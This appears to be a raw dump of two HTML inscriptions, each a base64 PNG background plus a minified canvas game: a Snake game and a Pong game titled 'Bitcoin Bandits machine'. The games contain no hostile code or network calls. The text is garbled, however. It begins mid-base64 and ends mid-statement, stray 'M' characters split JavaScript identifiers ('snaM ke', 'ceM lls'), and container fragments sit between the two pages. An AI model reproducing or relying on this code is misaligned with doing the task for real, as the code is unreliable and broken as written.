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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvasM
></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snaM
ke.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.ceM
lls=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
TkSuQmCC" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,widthM
:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddleM
.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.M
